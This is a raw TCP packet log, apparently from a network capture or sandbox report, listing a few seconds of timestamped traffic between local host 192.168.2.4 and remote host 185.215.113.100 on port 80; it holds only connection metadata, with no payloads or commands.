Aug 30, 2024 18:18:07.608608961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.608618975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.608624935 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.608634949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.608644009 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.608663082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.608690023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.610078096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.610089064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.610097885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.610107899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.610117912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.610126019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.610165119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004364014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004381895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004394054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004445076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004448891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004458904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004470110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004472971 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004487038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004498005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004517078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004542112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004637957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004650116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004678011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004690886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004702091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004724979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004889965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004899979 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004910946 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004925013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004925013 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004935980 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004944086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004945993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004956007 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004961967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004971981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004973888 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.004978895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004986048 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.004997969 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005023956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005521059 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005531073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005539894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005544901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005554914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005563974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005564928 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005568981 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005573988 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005579948 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005589008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005594015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005604029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005614042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005621910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005625010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005634069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005645990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005647898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005656004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005659103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005671024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005670071 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005681992 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005692005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005692959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.005716085 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.005728960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006325960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006341934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006350994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006361961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006371975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006373882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006381989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006392002 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006402016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006411076 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006414890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006414890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006422997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006429911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006443977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006464005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.006666899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.006702900 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009453058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009501934 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009505987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009516954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009552002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009552002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009609938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009620905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009632111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009645939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009646893 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009673119 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009726048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009810925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009820938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009830952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009841919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009849072 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009852886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009862900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009866953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009866953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009874105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.009896994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.009911060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010267973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010277033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010287046 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010298014 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010308981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010308981 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010312080 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010324001 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010334015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010345936 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010354042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010354042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010370970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010376930 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010386944 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010397911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010401964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010401964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010407925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010425091 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010425091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010436058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010447025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010449886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010449886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010456085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010467052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010483027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010646105 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010660887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010670900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010674000 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010682106 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010688066 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010693073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010703087 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010713100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010725021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010729074 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.010761976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010761976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010773897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.010773897 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011156082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011173010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011183023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011193037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011198997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011209011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011209011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011224031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011225939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011236906 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011239052 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011246920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011257887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011264086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011269093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011280060 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011281013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011291027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011296988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011305094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.011310101 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011327982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.011337996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.041189909 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.046051025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283617973 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283639908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283649921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283709049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283720016 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283729076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.283834934 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283847094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283893108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.283893108 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.283921957 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283931017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283941984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283948898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283957958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.283976078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284001112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284190893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284224033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284234047 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284261942 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284265995 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284274101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284288883 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284322023 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284349918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284362078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284400940 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284427881 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284440041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284452915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.284468889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.284497976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.287636995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287693977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287693977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.287704945 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287735939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.287751913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287795067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.287815094 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287864923 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.287873983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287884951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287894011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.287933111 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288028955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288039923 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288054943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288064003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288073063 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288080931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288084984 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288104057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288115978 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288268089 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288283110 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288291931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288312912 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288336039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288572073 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288623095 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288650990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288661003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288693905 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288727045 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288738012 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288747072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288757086 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.288774014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.288794041 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291085005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291136026 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291142941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291152954 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291178942 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291193962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291196108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291222095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291230917 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291239977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291268110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291296005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291397095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291407108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291416883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291425943 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291436911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291446924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291477919 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291555882 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291568041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291606903 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291656017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291666031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291677952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291688919 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291698933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291707039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291707993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291718006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291728020 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291747093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291763067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291790962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291840076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291898966 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291909933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291919947 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291929960 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291938066 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291949034 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291949034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.291961908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.291980028 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292000055 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292171955 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292181015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292191029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292198896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292208910 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292217016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292217970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292229891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292237043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292251110 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292282104 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292454004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292464018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292473078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292485952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292498112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292505980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292509079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292524099 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292535067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292562962 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292759895 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292769909 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292778969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292788029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292802095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292809963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292815924 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:08.292819023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:08.292829990 CEST	80	49730	185.215.113.100	192.168.2.4
